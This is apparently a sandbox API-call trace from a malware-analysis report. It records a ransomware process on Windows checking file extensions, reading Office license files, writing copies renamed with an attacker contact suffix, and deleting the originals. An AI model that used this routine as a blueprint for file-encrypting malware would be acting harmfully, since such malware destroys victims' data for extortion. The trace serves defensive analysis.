	[0191.001] lstrlenW (lpString=".docx") returned 5
	[0191.001] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0191.001] lstrlenW (lpString=".pdf") returned 4
	[0191.001] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0191.001] lstrlenW (lpString=".xls") returned 4
	[0191.001] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0191.001] lstrlenW (lpString=".xlsx") returned 5
	[0191.001] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0191.001] lstrlenW (lpString=".ppt") returned 4
	[0191.001] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0191.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74
	[0191.001] lstrlenW (lpString=".zip") returned 4
	[0191.001] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0191.001] lstrlenW (lpString=".rar") returned 4
	[0191.001] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0191.001] lstrlenW (lpString=".bz2") returned 4
	[0191.001] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0191.001] lstrlenW (lpString=".7z") returned 3
	[0191.001] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0191.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74
	[0191.001] lstrlenW (lpString=".dbf") returned 4
	[0191.001] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0191.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74
	[0191.002] lstrlenW (lpString=".1cd") returned 4
	[0191.002] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0191.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74
	[0191.002] lstrlenW (lpString=".jpg") returned 4
	[0191.002] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0191.002] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0191.002] lstrlenW (lpString="AccessVL_MAK-ppd.xrm-ms") returned 23
	[0191.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0191.003] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=6729) returned 1
	[0191.003] CloseHandle (hObject=0x5c4) returned 1
	[0191.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms")) returned 0x220
	[0191.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0191.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0191.004] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.004] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec
	[0191.005] GetLastError () returned 0x0
	[0191.005] ReadFile (in: hFile=0x5c4, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x1a49, lpOverlapped=0x0) returned 1
	[0191.009] WriteFile (in: hFile=0x5ec, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x1a50, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x1a50, lpOverlapped=0x0) returned 1
	[0191.011] ReadFile (in: hFile=0x5c4, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0191.012] WriteFile (in: hFile=0x5ec, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x102, lpOverlapped=0x0) returned 1
	[0191.012] SetEndOfFile (hFile=0x5ec) returned 1
	[0191.012] CloseHandle (hObject=0x5ec) returned 1
	[0191.012] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.012] SetEndOfFile (hFile=0x5c4) returned 1
	[0191.015] CloseHandle (hObject=0x5c4) returned 1
	[0191.015] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0191.015] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms")) returned 1
	[0191.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73
	[0191.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73
	[0191.016] lstrlenW (lpString=".doc") returned 4
	[0191.017] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0191.017] lstrlenW (lpString=".docx") returned 5
	[0191.017] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0191.017] lstrlenW (lpString=".pdf") returned 4
	[0191.017] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0191.017] lstrlenW (lpString=".xls") returned 4
	[0191.017] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0191.017] lstrlenW (lpString=".xlsx") returned 5
	[0191.017] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0191.017] lstrlenW (lpString=".ppt") returned 4
	[0191.017] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0191.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73
	[0191.017] lstrlenW (lpString=".zip") returned 4
	[0191.017] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0191.017] lstrlenW (lpString=".rar") returned 4
	[0191.017] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0191.017] lstrlenW (lpString=".bz2") returned 4
	[0191.017] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0191.017] lstrlenW (lpString=".7z") returned 3
	[0191.017] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0191.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73
	[0191.017] lstrlenW (lpString=".dbf") returned 4
	[0191.017] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0191.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73
	[0191.017] lstrlenW (lpString=".1cd") returned 4
	[0191.017] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0191.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73
	[0191.017] lstrlenW (lpString=".jpg") returned 4
	[0191.017] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0191.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73
	[0191.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73
	[0191.018] lstrlenW (lpString=".doc") returned 4
	[0191.018] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0191.018] lstrlenW (lpString=".docx") returned 5
	[0191.018] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0191.018] lstrlenW (lpString=".pdf") returned 4
	[0191.018] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0191.018] lstrlenW (lpString=".xls") returned 4
	[0191.018] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0191.018] lstrlenW (lpString=".xlsx") returned 5
	[0191.018] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0191.018] lstrlenW (lpString=".ppt") returned 4
	[0191.018] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0191.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73
	[0191.018] lstrlenW (lpString=".zip") returned 4
	[0191.018] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0191.018] lstrlenW (lpString=".rar") returned 4
	[0191.018] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0191.018] lstrlenW (lpString=".bz2") returned 4
	[0191.018] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0191.018] lstrlenW (lpString=".7z") returned 3
	[0191.018] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0191.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73
	[0191.018] lstrlenW (lpString=".dbf") returned 4
	[0191.018] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0191.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73
	[0191.018] lstrlenW (lpString=".1cd") returned 4
	[0191.018] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0191.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73
	[0191.019] lstrlenW (lpString=".jpg") returned 4
	[0191.019] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0191.019] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0191.019] lstrlenW (lpString="AccessVL_MAK-ul-oob.xrm-ms") returned 26
	[0191.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0191.020] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=11581) returned 1
	[0191.020] CloseHandle (hObject=0x5c4) returned 1
	[0191.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms")) returned 0x220
	[0191.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0191.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0191.021] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.021] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec
	[0191.021] GetLastError () returned 0x0
	[0191.022] ReadFile (in: hFile=0x5c4, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x2d3d, lpOverlapped=0x0) returned 1
	[0191.025] WriteFile (in: hFile=0x5ec, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x2d40, lpOverlapped=0x0) returned 1
	[0191.026] ReadFile (in: hFile=0x5c4, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0191.027] WriteFile (in: hFile=0x5ec, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x108, lpOverlapped=0x0) returned 1
	[0191.027] SetEndOfFile (hFile=0x5ec) returned 1
	[0191.027] CloseHandle (hObject=0x5ec) returned 1
	[0191.027] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.027] SetEndOfFile (hFile=0x5c4) returned 1
	[0191.121] CloseHandle (hObject=0x5c4) returned 1
	[0191.131] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0191.208] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms")) returned 1
	[0192.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76
	[0192.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76
	[0192.186] lstrlenW (lpString=".doc") returned 4
	[0192.186] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0192.186] lstrlenW (lpString=".docx") returned 5
	[0192.186] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0192.186] lstrlenW (lpString=".pdf") returned 4
	[0192.186] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0192.186] lstrlenW (lpString=".xls") returned 4
	[0192.186] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0192.186] lstrlenW (lpString=".xlsx") returned 5
	[0192.186] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0192.186] lstrlenW (lpString=".ppt") returned 4
	[0192.186] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0192.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76
	[0192.186] lstrlenW (lpString=".zip") returned 4
	[0192.186] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0192.186] lstrlenW (lpString=".rar") returned 4
	[0192.186] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0192.186] lstrlenW (lpString=".bz2") returned 4
	[0192.187] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0192.187] lstrlenW (lpString=".7z") returned 3
	[0192.187] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0192.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76
	[0192.187] lstrlenW (lpString=".dbf") returned 4
	[0192.187] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0192.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76
	[0192.187] lstrlenW (lpString=".1cd") returned 4
	[0192.187] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0192.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76
	[0192.187] lstrlenW (lpString=".jpg") returned 4
	[0192.187] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0192.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76
	[0192.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76
	[0192.187] lstrlenW (lpString=".doc") returned 4
	[0192.187] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0192.187] lstrlenW (lpString=".docx") returned 5
	[0192.187] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0192.187] lstrlenW (lpString=".pdf") returned 4
	[0192.187] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0192.187] lstrlenW (lpString=".xls") returned 4
	[0192.187] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0192.187] lstrlenW (lpString=".xlsx") returned 5
	[0192.187] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0192.188] lstrlenW (lpString=".ppt") returned 4
	[0192.188] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0192.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76
	[0192.188] lstrlenW (lpString=".zip") returned 4
	[0192.188] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0192.188] lstrlenW (lpString=".rar") returned 4
	[0192.188] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0192.188] lstrlenW (lpString=".bz2") returned 4
	[0192.188] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0192.188] lstrlenW (lpString=".7z") returned 3
	[0192.188] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0192.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76
	[0192.188] lstrlenW (lpString=".dbf") returned 4
	[0192.188] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0192.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76
	[0192.188] lstrlenW (lpString=".1cd") returned 4
	[0192.188] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0192.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76
	[0192.188] lstrlenW (lpString=".jpg") returned 4
	[0192.188] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0192.188] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0192.188] lstrlenW (lpString="ExcelR_OEM_Perp-pl.xrm-ms") returned 25
	[0192.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0192.190] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=10635) returned 1
	[0192.190] CloseHandle (hObject=0x574) returned 1
	[0192.190] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms")) returned 0x220
	[0192.190] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0192.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0192.191] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.191] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0192.192] GetLastError () returned 0x0
	[0192.192] ReadFile (in: hFile=0x574, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x298b, lpOverlapped=0x0) returned 1
	[0192.215] WriteFile (in: hFile=0x580, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x2990, lpOverlapped=0x0) returned 1
	[0192.216] ReadFile (in: hFile=0x574, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0192.216] WriteFile (in: hFile=0x580, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x106, lpOverlapped=0x0) returned 1
	[0192.216] SetEndOfFile (hFile=0x580) returned 1
	[0192.216] CloseHandle (hObject=0x580) returned 1
	[0192.216] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.216] SetEndOfFile (hFile=0x574) returned 1
	[0192.220] CloseHandle (hObject=0x574) returned 1
	[0192.220] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0192.221] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms")) returned 1
	[0192.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75
	[0192.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75
	[0192.222] lstrlenW (lpString=".doc") returned 4
	[0192.222] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0192.222] lstrlenW (lpString=".docx") returned 5
	[0192.222] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0192.222] lstrlenW (lpString=".pdf") returned 4
	[0192.222] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0192.222] lstrlenW (lpString=".xls") returned 4
	[0192.222] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0192.222] lstrlenW (lpString=".xlsx") returned 5
	[0192.222] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0192.222] lstrlenW (lpString=".ppt") returned 4
	[0192.222] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0192.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75
	[0192.222] lstrlenW (lpString=".zip") returned 4
	[0192.222] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0192.222] lstrlenW (lpString=".rar") returned 4
	[0192.222] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0192.222] lstrlenW (lpString=".bz2") returned 4
	[0192.222] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0192.222] lstrlenW (lpString=".7z") returned 3
	[0192.222] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0192.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75
	[0192.222] lstrlenW (lpString=".dbf") returned 4
	[0192.222] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0192.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75
	[0192.222] lstrlenW (lpString=".1cd") returned 4
	[0192.222] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
